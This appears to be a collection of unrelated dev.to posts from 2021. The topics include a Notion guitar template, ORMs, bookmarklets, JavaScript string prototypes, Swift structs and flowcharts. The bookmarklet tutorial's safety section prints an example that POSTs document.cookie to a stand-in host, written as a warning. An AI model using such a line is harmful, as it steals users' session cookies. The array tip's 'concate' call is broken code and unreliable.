teleren/devto huggingface dataset:
Notion template to organize your chords 🎸and learning guitar
Tags: watercooler, showdev
Published: 2021-05-28 10:55:12

Hey folks 👋🏼

We just launched another Product on Product Hunt. It's a notion template that helps you to organize your chords and learn guitar
### Learn Guitar

An amazing template to make your dreams of playing that dreamy song on your own, come true. This template will help you keep track of your guitar learning progress.

{% youtube zYcRf5VIsk0 %}

It contains two databases:

* Chords
* My Songs

### Chords
It contains all the chords identified with a name, an image, and your learning progress. This template is complete with a feature that will add a new chord with its status set to Next.    
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mzr4n7iwpy1cyvpm8dg9.png)

### Chords Views
The Chords Collection lets you choose from database, learning status, and chords gallery, showcasing how many chords you have collected so far!

**Chord Gallery View**
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nlfit6uu32ug6q8x6658.png)

**Board View**
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aqsq3yit6ryz67usp6cq.png)

### My Songs

 It contains all the songs you like and want to practice, identified with the title, artist, learning status bar and the list of chords that are required to play it. (related to the 🎼Chords database). New songs can be added with the provided template. It will automatically create a song with Next status and add the gallery and table views along with all the other sections.
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1dpm9c6a6ll5gulw8qhz.png)
**Detailed View**
Inside the song page, a detailed view of the song with a linked database showing the chords gallery is provided along with the chords table, followed by the embedded video and audio of the song, and the lyrics.

It also has a comments field so you can add your personal notes. 
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mx89uxtdh03yi2bnbogf.png)
### My songs Views
You have the freedom to choose from List, database, and Learning Status view, to track your progress in real-time

**List View**
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s6f3s2i9w59bn6fg3pse.png)
**Board view**
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5bawcqgd28muhloctj0k.png)

### Want One?
![](https://media.giphy.com/media/038reunmBR97xFM8Nj/giphy.gif)
***Here is your link*** 👉 [***Learn Guitar***](https://prototion.com/notion-template/Learn-Guitar-WiaqM2TMIVAv1qCF)

We are on Producthunt today. Go show some love here🔥
[![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qpbl45jr6gyjnoggz29b.png)](https://www.producthunt.com/posts/notion-guitar-learning)
How To Concate Two Dimensional Array
#javascript, #basic #arrays
Published: 2021-05-28 17:58:07


How to concate Two dimensional Arrays without Using new Set?
array=[[1,2,3],[4,5,6],[7,8,9]]
// [1,2,3,4,5,6,7,8,9]
For This we can use reduce Method.
array.reduce((a,b)=>a.concate(b),[ ])
Laravel 8 Toastr Notifications using yoeunes/toastr package
Tags: laravel, php, tutorial, programming
Published: 2021-05-29 04:16:15

<p>Hi Friends</p>

<p>In this Article, i will explicate you how to install and use toastr notifications utilizing yoeunes/toastr package in Laravel 8 application.we will utilize yoeunes/toastr package.we will indite step be step tutorial for Laravel 8 toastr notifications.</p>


<p>Toastr notifications yoeunes/toastr package provides warning,prosperity,error and info notifications.You have to just follow few step for implement toastr notifications in your laravel application. In this example i give you example from scratch. So just follow bellow step.</p>
<strong class="step">Step 1: Install yoeunes/toastr package</strong>

more..

https://codingtracker.blogspot.com/2021/05/laravel-8-toastr-notifications-using.html
Decorate your Github!
Published: 2021-05-29 11:33:09

[![commitcombo](http://commitcombo.com/get?user=Devxb&theme=Lake-mini)](https://github.com/devxb/CommitCombo/blob/main/ENG.md)[![commitcombo](http://commitcombo.com/get?user=Devxb&theme=Ocean-mini)](https://github.com/devxb/CommitCombo/blob/main/ENG.md)[![commitcombo](http://commitcombo.com/get?user=Devxb&theme=DeepOcean-mini)](https://github.com/devxb/CommitCombo/blob/main/ENG.md)[![commitcombo](http://commitcombo.com/get?user=Devxb&theme=Cloud-mini)](https://github.com/devxb/CommitCombo/blob/main/ENG.md)[![commitcombo](http://commitcombo.com/get?user=Devxb&theme=Emerald-mini)](https://github.com/devxb/CommitCombo/blob/main/ENG.md) 

<center>and more themes...[here](https://github.com/devxb/CommitCombo/blob/main/ENG.md)</center>   

---

[This is project link](https://github.com/devxb/CommitCombo/blob/main/ENG.md)

### Hi There!! im newbie Developer!

I have completed my personal project and are distributing it in my server for free.

<mark>It is recommended for those who commit daily or are interested in decorating GitHub.</mark>

This project show the number of continuous commit days on GitHub.

You can apply it like the example below.

![capcapcap](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m08d6bfohk1xuvge8zui.PNG)
  
######(Mint tag is what I made.)

I have committed for 6 days in a row, and you can see the blue name tag has 6 written on it.

---

[This is project link](https://github.com/devxb/CommitCombo/blob/main/ENG.md)

Any advice on the project would be appreciated.
Brief Introduction to ORM
Tags: database, sql
Published: 2021-05-29 14:11:29

#### ORM (Object-Relational Model) in 50 words
Relational databases like MySQL are not object oriented. An ORM solves this problem. It provides an abstraction layer over relational databases.

In other words, ORM is an library using which you can create objects for your entities. For example, the entities for an ecommerce app can be Users, Orders and Products. These entities will get converted into tables by an ORM. An ORM will generate SQL queries for you and communicate with your database.

![ORM](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2soahhir6nvqnj48wz14.png)

## Example
Creating tables with one-to-many relationships in ORM is as easy as creating a class. Here one teacher teaches many courses.
```js
class Teachers {
    id: Primary_Key,
    name: String,
    age: Number,
    courses: Courses[], // one-to-many relationship is as simple as creating an array
}
``` 

Inserting entries into the table is as easy as using the `new` operator.
```js
teacher = new Teacher()

teacher.name = 'Alice'
teacher.age = 32

teacher.save()
```

### Pros of an ORM
- Modelling data is easier because instead of tables you are working with objects.
- Time is saved as fewer queries have to written.
- Cleaner code is produced when using an ORM.
- Switching databases is easier as it is abstracted.

### Cons of an ORM
- Different ORMs have slightly different syntax and need to be learned.
- Some queries cannot be performed with an ORM and one needs to use SQL for them.

### Popular ORMs
ORM is a library available in many different programming languages.

##### JavaScript
- [Sequelize](https://sequelize.org/)
- [TypeORM](https://typeorm.io/#/)

##### Python
- [SQLAlchemy](https://www.sqlalchemy.org/)
- [Django](https://www.djangoproject.com/)

##### Java
- [Hibernate](https://hibernate.org/)
On bookmarklets and how to make them
Tags: javascript, tutorial
Published: 2021-06-24 09:37:51

### Bookmarklets are bookmarks which execute javascript instead of opening a new page. They are available in almost every browser, including Chrome, Firefox and most Chromium based browsers

They are pretty easy to make, and can do almost everything, including injecting other scripts, interacting with the DOM, and absolutely everything you can do with JavaScript.

## How to make a bookmarklet

That's pretty easy, just create a bookmark (using whatever method your browser has) with the following content:

```js
javascript:(() => {/* Your code goes here */})();
```

The `javascript:` part tells the browser that the bookmark is actually javascript which is to be executed.

The rest of the code is executed as normal, but you can make it an IIFE (Immediately-Invoked Function Expression) so that you don't accidentally overwrite any variables already defined. The code can be whatever you like, but on some sites (like GitHub) some action may be blocked (like injecting scripts)

![Screen Shot 2021-06-21 at 9.33.18 AM](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ncx987kc4xjr5j9togr.png)
<figcaption>I can't inject jQuery!!</figcaption>

Another neat trick is that if you make the bookmarklet return any HTML, the content of the current page will be overwritten with the HTML! (which is perfect if you want a random xkcd fetcher)

## Sharing bookmarklets

It's pretty annoying to have to copy the code for a bookmarklet if you want to use it yourself, right!

Well, 
- Bookmarklets are just URLs
- URLs can be added to the `href` of a link
- A link can be bookmarked (right click or drag to bookmarks bar)

So, if you want to put a shareable bookmark on a website, just make an `<a>` element with the `href` set to whatever code

```html
<a href="javascript:(()=>{alert('Hello, World!'); })();">Bookmark me</a>
```

Unfortunately, I can't seem to be able to add bookmarklets over here, so here's a pen with the output:

{% codepen https://codepen.io/SiddharthShyniben/pen/XWMLvYy default-tab=html,result %}

Here's some more bookmarklets which you could use:

{% codepen https://codepen.io/SiddharthShyniben/pen/BaWgXOW %}

## Safety

Bookmarklets are equal to running scripts on a page, so you have to be really careful with them.

For example, this bookmarklet could easily read cookies and post them somewhere:

```js
javascript:(() => fetch('http://cookiesnatchers.com?cookie=' + document.cookie, {method:'POST'})();
```

Once again, you have to be really careful about what bookmarklets do. 

Thanks for reading! If you have any nice bookmarklets, please share them down below!
String Prototype Capitalize
Tags: javascript
Published: 2021-06-22 02:40:15

**Note: This article is intended for Indonesians**
# Perkenalan
Javascript mempunyai banyak built in function pada prototype. Ada di array, string, object, dan lain2. Salah satu contohnya adalah `String.prototype.toUpperCase()` yang memungkinkan kita membuat string menjadi huruf besar.

## String.prototype.toUpperCase()
```javascript
const str = 'ini teks';
console.log(str.toUpperCase()) // => 'INI TEKS'
```

Tapi pada suatu saat kita mungkin perlu mengubah string menjadi huruf kapital, tetapi javascript tidak punya builtin function seperti itu. Jadi solusinya adalah kita membuat function sendiri seperti pada contoh berikut:

## Contoh Function Capitalize
```javascript
function capitalize(str) {
  return `${str[0].toUpperCase()}${str.slice(1)}`
}
console.log(capitalize('ini teks')) // => 'Ini teks'
```
#### Penjelasan
`str[0].toUpperCase()` kode ini dapat mengubah huruf pertama pada string menjadi kapital, dan kode `str.slice(1)` menampilkan string dari index ke 1

#### Permasalahan
Ini bekerja dengan baik tetapi tidak seperti yang kita harapkan. Contoh yang saya buat diatas merupakan function biasa, yang bisa menjadikan kode kita sulit dibaca jika sudah terdapat banyak function. Lalu gimana cara kita dapat membuat function seperti `.toUpperCase()`? Caranya seperti berikut:

## String.prototype.capitalize()
```javascript
String.prototype.capitalize = function() {
  return `${this[0].toUpperCase()}${this.slice(1)}`
}
console.log('ini teks'.capitalize()) // => 'Ini teks'
```
Isi functionnya sama dengan yang kita buat pada contoh diatas ini, tetapi penulisan kode menjadi lebih rapih karena kita mendefinisikannya langsung ke prototype, ini seakan2 menjadikan capitalize seperti function bawaan javascript. <br>

#### Penjelasan
Tetapi jika dilihat ada yang berubah, kita memakai keyword `this` pada kode diatas karena `this` pada kode diatas mereferensikan ke string yang kita beri method capitalize, contoh:
```javascript
String.prototype.capitalize = function() {
  return this
}
console.log('ini teks'.capitalize()) // => 'ini teks'
```
Jadi `this` pada kode diatas digunakan untuk menangkap stringnya, dan karena itu pula kita tidak dapat menggunakan arrow function karena keyword `this` akan berisi `undefined`
The one about TDD & the Ukulele - WEEK 2
Tags: beginners, javascript, testing, codenewbie
Published: 2021-06-22 22:49:06

WEEK 2 

JEST was my new best friend and TDD my new enemy. It was natural to write code, THEN test it. Suddenly, I had to do it the other way round. There is method to the madness though.

Red, green refactor...red, green, refactor... was all that was running through my hippocampus whilst washing dishes.

Mock functions and COVE (closed over variable enivroment) was the meal deal of the week. 
Sounds complicated ? Is it ! For me anyway. It’s like setting a timer, waiting to go off, and then its  times up. 

Using the terminal was like my new home. I had become a lot more comfortable with paired programming and making new friends on my cohort. I soon came to realise how important it is to be able to communicate well and have good chemistry when partnering. That being more important than the coding aspect itself.

Everyone I partnered with were on the opposite side of the spectrum to me, however, they were all extremely kind and helpful. I never was made to feel inadequate or stupid. 

So grateful.

One of my partner's even played the ukulele during our short lived pairing session. He set the bar too high !
Looking for a coding buddy
Tags: java, html, css, python
Published: 2021-06-23 06:12:23

Hello everyone, my name is Programer171(which is not real) and I am 13 years old I love to code in java and html and css and I am currently learning python, I am looking for someone around my age to code with me on projects if you would like to be my coding buddy please contact me: Programer171@gmail.com

Peace
P42 for Visual Studio Code
Tags: vscode, javascript, typescript
Published: 2021-06-23 09:09:49

> 💡&nbsp;&nbsp;This blog post is about P42 JavaScript Assistant v0.0.3

[P42 for Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=p42ai.refactor) is now available in the Visual Studio Marketplace. 
The **free extension includes all refactorings and code modernizations** that are available in P42. It can be used on all repositories and runs entirely locally.
 
When you open a JavaScript or TypeScript file, P42 will automatically detect code that could be modernized and highlight it:

![P42 for Visual Studio Code example highlight](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/em34ngxdy3enqtma8j9p.png)

You can then effortlessly update your code using the Quick Fix function. 
 
With P42 for Visual Studio Code, you can learn new JavaScript patterns right in your IDE, make sure new code follows best practices, and modernize older code gradually.
 
**[Try out P42 for Visual Studio Code today!](https://marketplace.visualstudio.com/items?itemName=p42ai.refactor)**
How to Debug Php code
Tags: php, codenewbie, tutorial, programming
Published: 2021-06-23 11:22:25

Writing code is hard enough, and having to debug any problems that occur in your code just makes it even harder. Debugging is also much less enjoyable than writing code. Debugging is as old as programming itself. As software engineers,you will always be faced with bugs. To debug well,you need to know how to debug your code.
That is why in this video I will show you some tips, tricks, and tactics on how you can debug code to make your debugging process quicker, easier, and more enjoyable. This will give you more time to focus on the fun part of coding. I will show you how to debug errors in PHP Scripts.

{% youtube iaynJkeLWlc %}

If you want to learn more about Web Development, feel free to [follow me on Youtube!](https://www.youtube.com/c/ChristopherGlikpo)
Testes são formas de organizar pensamentos e não apenas usar ferramentas
Published: 2021-06-24 00:34:05

Criar teste é mais sobre uma forma de pensar do que apenas saber usar as ferramentas.

Eu tenho tentado buscar uma forma de pensar sobre testes, mas ainda não tenho um raciocínio lógico que possa definir alguma forma para iniciar meus testes.

O jeito está sendo conversar com as pessoas que admiro as suas maneiras de fazer pensar e saber delas como estruturam seus pensamentos, a minha idéia é poder a ter um raciocínio similar ao deles.

Encontrei esse texto que vai muito de encontro com as algumas formas que tenho ouvido das pessoas que admiro e confiaria meu aprendizado.

https://lnkd.in/efpipia

....A próxima vez que encontrar uma classe horrível pedindo para ser alterada, segure a mão e não saia deletando todo o código, tente fazer as coisas de uma forma disciplinada.....
Summer Series to learn Cassandra NoSQL DB
Tags: react, netlify, codenewbie, database
Published: 2021-07-10 08:09:04

For some time I have been following the DataStax Developer workshops regarding the use of the Cassandra NoSql DataBase.
The "Summer Series" workshops are very interesting: this week we created a "ToDo App" in React communicating with the DB, so that all the commitments are saved and are not lost when the page is refreshed. Next week will be the time to make a Tik Tok clone (I'm really very curious about it!). The next week there will be the construction of a Netflix clone instead (for which I have already attended a workshop but there are still some obscure points, so I will follow it again!).
it's all completely free, they offer badges for completing the exercises after following the workshop and you learn a lot about the world of DB NoSql (and much more!)

Follow them on Youtube and maybe join the next live:
https://www.youtube.com/channel/UCAIQY251avaMv7bBv5PCo-A
Methods vs Computed in Vue
Tags: help, discuss, vue, codenewbie
Published: 2021-06-25 01:47:08

Hello 👋🏼,

Lately I've been learning Vue. 
So today I learned about computed property.

In my understanding (please correct me if I'm wrong), `computed` is the same as `methods` property, only it will be re-executed if data that are used within the property are changed.
While `methods` property will be re-executed for any data changes within the page.

In which condition is the best practice to use `methods` or `computed`?

Thank you in advance for any help 😊
#100DaysOfSwift: Day 8
Tags: beginners, ios, swift
Published: 2021-06-25 02:09:00

Hey !

Today, I learned about structures but for short struct. They are given their own variables, constants, and their own functions and are used in any way. Variables inside of struct are called stored properties and computed properties. You can use a struct when you have fixed data that you want to send or receive multiple times. 
I learned about all that goes into structs, like the following:

1. Computed properties run code to figure out the structs value.

2. Property observers which lets you run code before or after any property changes. 

3. Methods are functions inside of structs and the functions can use the properties of the struct as needed. Methods belong to structs, enums, and classes. 

4. Mutating methods - the keyword mutating is used when you want to change properties in a struct. By default, structs are constants. 
5. Strings and arrays have their own properties and methods !

Overall, I think today was a good learning day.

Until tomorrow !
Pentingnya Sebuah Desain Sebelum Memulai Mengetik Program
Tags: design, architecture, indonesia
Published: 2021-06-25 02:51:24

Sebagai seorang yang masih belajar dalam pemrograman khususnya Website, saya ingin berbagi sedikit pengalaman dimana saya mampu meningkatkan produktifitas dengan hal yang sederhana.

## Kesalahan
Kesalahan fatal dari kebanyakan Programmer yang juga saya alami adalah mulai mengetik tanpa menggambarkan apa yang dia ingin capai, hanya memikirkan rancangan yang kemungkinan besar akan terlupakan detailnya dalam 1-2 jam kedepan akhirnya bergelut dengan berbagai macam ketidak-konsistensi-an dalam programnya.

Hindari mengetik program tanpa menjabarkan rancangan awal, buatlah sebuah _flowchart_ apa yang ingin dicapai dan bagaimana cara mencapainya, meskipun hanya sebuah program sederhana yang bahkan hanya untuk mengisi waktu luang. Kebiasaan untuk menggambarkan sebuah _flowchart_ sangat bagus agar terbiasa mempunyai rancangan yang konsisten kedepannya.

## Flowchart
Untuk membuat sebuah _Flowchart_ pun tidak lah rumit, cukup dengan dasar di bawah ini sudah men-_cover_ ±70% _(berdasarkan pengalaman pribadi)_ dari _Flowchart_ yang akan kalian buat di kemudian hari
![Simbol dasar dalam Flowchart](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y9tmwc9kh9y4b8k7ro6z.png)
 
## Alat
Ada 2 macam alat yang biasa saya pakai:
#### 1. Buku kecil dan Pensil
Buku kecil dan Pensil yang paling sering saya pakai untuk mengurangi _screen time_ saya, pensil pun wajib yang ada penghapusnya 😂, apalagi saya juga sering touring di hari sabtu dan minggu, sangat cocok saat nongkrong tiba-tiba muncul ide baru langsung saya tulis. Juga berlaku saat ngopi-ngopi bareng teman. Baru setelah udah di depan layar dibikin ulang pakai tools ke dua.
#### 2. Flowchart dari https://app.diagrams.net/
Ini salah satu online tools favorit saya karna tidak harus login (tinggal klik icon silang/close di pojok kanan atas pop up login) lalu mulai menggambar. Beberapa keunggulan yang saya suka:
1. Dark Theme *(WAJIB)*
2. Tidak Perlu login
3. Aplikasi web yang sangat ringan

## Kesimpulan dan saran
Menggambarkan rancangan program yang akan kita buat sangat membantu meningkatkan konsistensi dan mempercepat waktu produksi, luangkan waktu setidaknya 15-30 menit setelah _Flowchart_ anda selesai untuk memikirkan kembali apakah semua sudah sesuai atau belum, dan kerjakan tiap bagian sesuai arah panah.
![Api -> FE](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1n88w8gbgxmipckaga3k.png)
 Misal contoh di atas, berarti kerjakan API terlebih dahulu, dan jika sudah selesai bisa dicoba memberikan warna sesuai selera, seperti contoh di atas (hijau: selesai, merah: belum).

Semoga dengan artikel ini bisa membantu anda yang baru memulai perjalanan sebagai Developer atau yang masih sering mengetik program tanpa membuat _Flowchart_ bisa mulai meningkatkan efesiensi dan konsistensi dalam mengetik program. Terima kasih dan Selamat menggambar! 🎉✍

[0wx.dev](https://0wx.dev)
😍 Earn 40% For Every Customer ( ≈ $23 / Sale )
Published: 2021-06-25 10:30:51

Hello👋,

We are very happy to announce Frontendor affiliate program.

Frontendor lets developers construct gorgeous landing pages quickly and easily by using a simple copy-paste method. This current deal is Frontendor 2.0!

Your efforts are valuable to us and that is why we offer a high commission percentage.

✅ 30 days cookie duration.
✅ Get paid instantly ( Using Gumroad ).
✅ Exclusive Affiliate Kit​.

Join our affiliate program today! :
https://frontendor.com/affiliates/